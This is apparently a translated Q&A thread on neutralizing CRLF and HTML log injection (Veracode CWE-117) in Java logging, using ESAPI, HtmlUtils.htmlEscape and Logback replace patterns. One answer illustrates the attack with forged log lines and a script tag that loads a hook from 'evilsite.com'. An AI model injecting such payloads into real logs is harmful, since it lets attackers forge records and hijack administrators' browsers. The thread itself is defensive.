Как исправить Veracode CWE 117 (неправильная нейтрализация вывода для журналов)

Существует глобальный метод Spring @ExceptionHandler(Exception.class), который регистрирует подобное исключение:

@ExceptionHandler(Exception.class)
void handleException(Exception ex) {
    logger.error("Simple error message", ex);
...

Сканирование Veracode говорит, что в этом журнале есть Improper Output Neutralization for Logs, и предлагает использовать журнал ESAPI. Есть ли способ исправить эту уязвимость, не меняя регистратор на ESAPI? Это единственное место в коде, где я столкнулся с этой проблемой, и я пытаюсь понять, как исправить это с минимальными изменениями. Может быть, у ESAPI есть какие-то методы, которых я не заметил?

P.S. Текущий регистратор - Log4j поверх slf4j

UPD: В итоге я использовал логгер ESAPI. Я думал, что он не будет использовать мою службу ведения журнала по умолчанию, но я ошибался и просто использовал мой интерфейс регистратора slf4j с соответствующей конфигурацией.

private static final Logger logger = ESAPI.getLogger(MyClass.class);
...
logger.error(null, "Simple error message", ex);

ESAPI имеет расширение log4j logger и logger factory. Что использовать, можно настроить в ESAPI.properties. Например:

ESAPI.Logger=org.owasp.esapi.reference.Log4JLogFactory

person Vitaliy Borisok    schedule 06.07.2017    source источник
comment
Пожалуйста, добавьте решение, которое сработало и для вас.   -  person Jimson Kannanthara James    schedule 17.07.2017
comment
@Aczire, как я упоминал в UPD: я просто использовал регистратор ESAPI без какой-либо дополнительной настройки. Он использовал мой регистратор slf4j по умолчанию. private static final Logger logger = ESAPI.getLogger(MyClass.class); ... logger.error(null, "Simple error message", ex);   -  person Vitaliy Borisok    schedule 18.07.2017
comment
Привет @VitaliyBorisok, я тоже столкнулся с той же проблемой. Не могли бы вы помочь мне с тем, какую конфигурацию Slf4j вы использовали с регистратором ESAPI. Я использовал предложенное вами решение. Но я получаю: Вызвано: java.lang.IllegalArgumentException: Не удалось загрузить ESAPI.properties в качестве ресурса загрузчика классов.   -  person Charu Jain    schedule 29.01.2018
comment
Привет @CharuJain! У вас есть файл ESAPI.properties в пути к классам? Библиотеке ESAPI требуется этот файл. Проверьте github.com/OWASP/EJSF/blob/master/esapi_master_master_master_master / WebContent / в качестве примера файла конфигурации ESAPI.   -  person Vitaliy Borisok    schedule 30.01.2018
comment
Я бы сказал, что исключения из журнала не нужно очищать для CRLF, потому что данные исключения являются надежными (пользователь не может ими манипулировать)   -  person scott.korin    schedule 10.06.2021


Ответы (5)


Есть ли способ исправить эту уязвимость, не меняя регистратор на ESAPI?

Короче да.

TL; DR:

Сначала поймите серьезность ошибки. Основное беспокойство вызывает фальсификация отчетов журнала. Скажем, у вас был такой код:

log.error( transactionId + " for user " + username + " was unsuccessful."

Если какая-либо переменная находится под контролем пользователя, они могут вводить ложные операторы регистрации, используя такие входы, как \r\n for user foobar was successful\rn, что позволяет им фальсифицировать журнал и замести следы. (Что ж, в этом надуманном случае просто немного сложнее увидеть, что произошло.)

Второй способ атаки больше похож на шахматный ход. Многие журналы имеют формат HTML для просмотра в другой программе. В этом примере мы представим, что журналы предназначены для просмотра в браузере в качестве файлов HTML. Теперь мы вводим <script src=”https://evilsite.com/hook.js” type=”text/javascript”></script>, и вы подключите браузер к среде эксплуатации, которая, скорее всего, будет выполняться как администратор сервера ... потому что сомнительно, что генеральный директор будет читать журнал. Теперь можно начинать настоящий взлом.

Защиты:

Простая защита - убедиться, что все операторы журнала с userinput экранируют символы '\ n' и '\ r' чем-то очевидным, например '֎', или вы можете сделать то, что делает ESAPI, и выйти с подчеркиванием. На самом деле это не имеет значения, если оно непротиворечиво, просто помните, что не следует использовать наборы символов, которые могут запутать вас в журнале. Что-то вроде userInput.replaceAll("\r", "֎").replaceAll("\n", "֎");

Я также считаю полезным убедиться, что форматы журналов точно указаны ... это означает, что вы убедитесь, что у вас есть строгий стандарт того, как должны выглядеть операторы журнала, и построить свое форматирование, чтобы легче было поймать злонамеренного пользователя. Все программисты должны принять участие в вечеринке и соблюдать формат!

Чтобы защититься от сценария HTML, я бы использовал [проект кодировщика OWASP] [1]

Что касается того, почему предлагается реализация ESAPI, это очень проверенная в боях библиотека, но в двух словах, по сути, это то, чем мы занимаемся. Смотрите код:

/**
 * Log the message after optionally encoding any special characters that might be dangerous when viewed
 * by an HTML based log viewer. Also encode any carriage returns and line feeds to prevent log
 * injection attacks. This logs all the supplied parameters plus the user ID, user's source IP, a logging
 * specific session ID, and the current date/time.
 *
 * It will only log the message if the current logging level is enabled, otherwise it will
 * discard the message.
 *
 * @param level defines the set of recognized logging levels (TRACE, INFO, DEBUG, WARNING, ERROR, FATAL)
 * @param type the type of the event (SECURITY SUCCESS, SECURITY FAILURE, EVENT SUCCESS, EVENT FAILURE)
 * @param message the message to be logged
 * @param throwable the {@code Throwable} from which to generate an exception stack trace.
 */
private void log(Level level, EventType type, String message, Throwable throwable) {

    // Check to see if we need to log.
    if (!isEnabledFor(level)) {
        return;
    }

    // ensure there's something to log
    if (message == null) {
        message = "";
    }

    // ensure no CRLF injection into logs for forging records
    String clean = message.replace('\n', '_').replace('\r', '_');
    if (ESAPI.securityConfiguration().getLogEncodingRequired()) {
        clean = ESAPI.encoder().encodeForHTML(message);
        if (!message.equals(clean)) {
            clean += " (Encoded)";
        }
    }

    // log server, port, app name, module name -- server:80/app/module
    StringBuilder appInfo = new StringBuilder();
    if (ESAPI.currentRequest() != null && logServerIP) {
        appInfo.append(ESAPI.currentRequest().getLocalAddr()).append(":").append(ESAPI.currentRequest().getLocalPort());
    }
    if (logAppName) {
        appInfo.append("/").append(applicationName);
    }
    appInfo.append("/").append(getName());

    //get the type text if it exists
    String typeInfo = "";
    if (type != null) {
        typeInfo += type + " ";
    }

    // log the message
    // Fix for https://code.google.com/p/owasp-esapi-java/issues/detail?id=268
    // need to pass callerFQCN so the log is not generated as if it were always generated from this wrapper class
    log(Log4JLogger.class.getName(), level, "[" + typeInfo + getUserInfo() + " -> " + appInfo + "] " + clean, throwable);
}

См. Строки 398-453. Это все, что дает ESAPI. Я бы посоветовал скопировать и модульные тесты.

[ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ]: Я являюсь соруководителем проекта ESAPI.

[1]: https://www.owasp.org/index.php/OWASP_Java_Encoder_Project и убедитесь, что ваши входные данные правильно закодированы при входе в операторы регистрации - каждый бит, как когда вы отправляете ввод обратно пользователю.

person avgvstvs    schedule 06.07.2017
comment
Спасибо за пояснения и предложения, но я считаю, что в моем случае Veracode не любит параметр Throwable, потому что сообщение - это просто строка без какой-либо конкатенации с динамическими параметрами, поэтому простой encodeForHTML здесь не работает, а ESAPI не предоставляет методов для получения действительный Throwable для регистрации. - person Vitaliy Borisok; 07.07.2017
comment
В конце концов я использовал регистратор ESAPI. Я думал, что он не будет использовать мою службу ведения журнала по умолчанию, но ошибался. - person Vitaliy Borisok; 07.07.2017
comment
Если мы буквально говорим о передаче буквального Throwable, это имеет смысл, поскольку в целом не очень хорошая идея играть с исключениями на этом уровне. - person avgvstvs; 07.07.2017
comment
Я согласен с тобой. - person Vitaliy Borisok; 07.07.2017
comment
Так почему же библиотека ESAPI не поддерживается активно с 2011 года? С тех пор был выпуск .1 и выпуск .1.1, вот и все. Нет активности. Почему мы должны использовать библиотеку, которая не успевает за последними достижениями в области безопасности с 2011 года? - person Kevin M; 30.03.2018
comment
@KevinM С 2011 года это был всего лишь один парень, пока я не засучил рукава и не сделал это 2. 2.1.0.1 исправил CWE и несколько давних ошибок, и мы находимся на точечном выпуске (постоянно) и крупном выпуске (2.2) появится позже в этом году. Если ребята вроде тебя выручают, мы могли бы выпускать чаще! - person avgvstvs; 02.04.2018
comment
Хорошая точка зрения. Думаю, я просто ожидал, что в эту библиотеку будет добавлена ​​большая команда людей, поскольку она так широко рекомендуется в качестве перехода в библиотеку для решения множества проблем с безопасностью. Возможно посмотрю :) - person Kevin M; 04.04.2018
comment
@KevinM Изначально он был масштабнее, но на самом деле многие парни ушли после (2013, а не 2011). - person avgvstvs; 04.04.2018

Я новичок в Veracode и столкнулся с CWE-117. Я понял, что эта ошибка возникает из-за Veracode, когда ваш оператор журнала может подвергнуться атаке через переданные значения параметров злонамеренного запроса. Поэтому нам нужно удалить / r и / n (CRLF) из переменных, которые используются в операторе журнала.

Большинству новичков будет интересно, какой метод следует использовать для удаления CRLF из переменной, переданной в операторе logger. Также иногда replaceAll () не будет работать, поскольку это не одобренный метод Veracode. Поэтому вот ссылка на одобренные Veracode методы решения проблем CWE. https://help.veracode.com/reader/4EKhlLSMHm3ANXrc8cc/4EKhlLSMHm5jC8cc/4EKhlLSMHm3JC8cc/?hl=ru

В моем случае я использовал org.springframework.web.util.HtmlUtils.htmlEscape, упомянутый в приведенной выше ссылке, и это устранило проблему.

private static final Logger LOG = LoggerFactory.getLogger(MemberController.class);
//problematic logger statement 
LOG.info("brand {}, country {}",brand,country);
//Correct logger statement
LOG.info("brand {}, country {}",org.springframework.web.util.HtmlUtils.htmlEscape(brand),org.springframework.web.util.HtmlUtils.htmlEscape(country));
person Vishwas Upadhyay    schedule 30.10.2019
comment
Да, это решает проблему с классом Spring Utils. Хороший материал, вам не нужно импортировать дополнительные зависимости или изменять текущую реализацию регистратора. - person Urosh T.; 30.10.2019
comment
Интересный. Но у меня есть вопрос / сомнения по поводу проблем с производительностью этого подхода. Например, объект brand очень "тяжелый", и вы регистрируете его только на уровне debug, а в продукте - уровень info. В вашем коде вы по-прежнему обрабатываете объект бренда каждый раз, не соблюдая включенный уровень журнала. Есть ли способ использовать утилиту escape без дополнительного оператора if? Кажется некрасивым помещать оператор if для каждого журнала, и это нарушает некоторые преимущества slf4j - person Vitaliy Borisok; 05.11.2019
comment
Я думаю, вы пытаетесь спросить, каким должен быть эффективный способ ведения журнала. Well разработчик должен руководствоваться здравым смыслом, чтобы использовать правильные уровни журнала для печати тяжелых объектов. Идея здесь состоит в том, чтобы использовать метод htmlEscape, чтобы обойти проблему CWE117. - person Vishwas Upadhyay; 06.11.2019

Чтобы избежать уязвимости Veracode CWE 117, я использовал специальный класс регистратора, который использует функцию HtmlUtils.htmlEscape () для уменьшения уязвимости. Veracode рекомендует использовать средства ведения журнала ESAPI для решения этой проблемы, но если вы не хотите добавлять дополнительную зависимость в свой проект, это должно работать нормально. https://github.com/divyashree11/VeracodeFixesJava/blob/master/spring-annotation-logs-demo/src/main/java/com/spring/demo/util/CustomLogger.java

person div11    schedule 20.05.2020

Хотя я немного опоздал, но я думаю, что это поможет тем, кто не хочет использовать библиотеку ESAPI и сталкивается с проблемой только для класса обработчика исключений.

Использовать библиотеку общего пользования apache

import org.apache.commons.lang3.exception.ExceptionUtils;
LOG.error(ExceptionUtils.getStackTrace(ex));
person Arpit Pandey    schedule 04.07.2019
comment
Разве вам не хватает фактического сообщения об ошибке? - person Deian; 26.09.2019

Если вы используете Logback, используйте функцию replace в своем шаблоне конфигурации logback.

оригинальный узор

<pattern>%d %level %logger : %msg%n</pattern>

с заменой

<pattern>%d %level %logger : %replace(%msg){'[\r\n]', '_'} %n</pattern>

если вы хотите также удалить тег <script>

<pattern>%d %-5level %logger : %replace(%msg){'[\r\n]|&lt;script', '_'} %n</pattern>

Таким образом, вам не нужно изменять отдельные операторы журнала.

person mzzzzb    schedule 30.04.2020
comment
Это хорошо, но, к сожалению, Veracode на самом деле не знает, что это (или какое-либо другое решение при записи журнала) имело место, и вам все равно нужно смягчить последствия. - person user2957009; 17.06.2020
comment
@ user2957009 Если вы считаете, что это устраняет уязвимость системы безопасности, о которой идет речь, вы можете отметить нарушение как «Предусмотрено уменьшением риска». В конце концов, мы должны стремиться писать безопасный и поддерживаемый код, а не просто делать Veracode счастливым. - person mzzzzb; 18.06.2020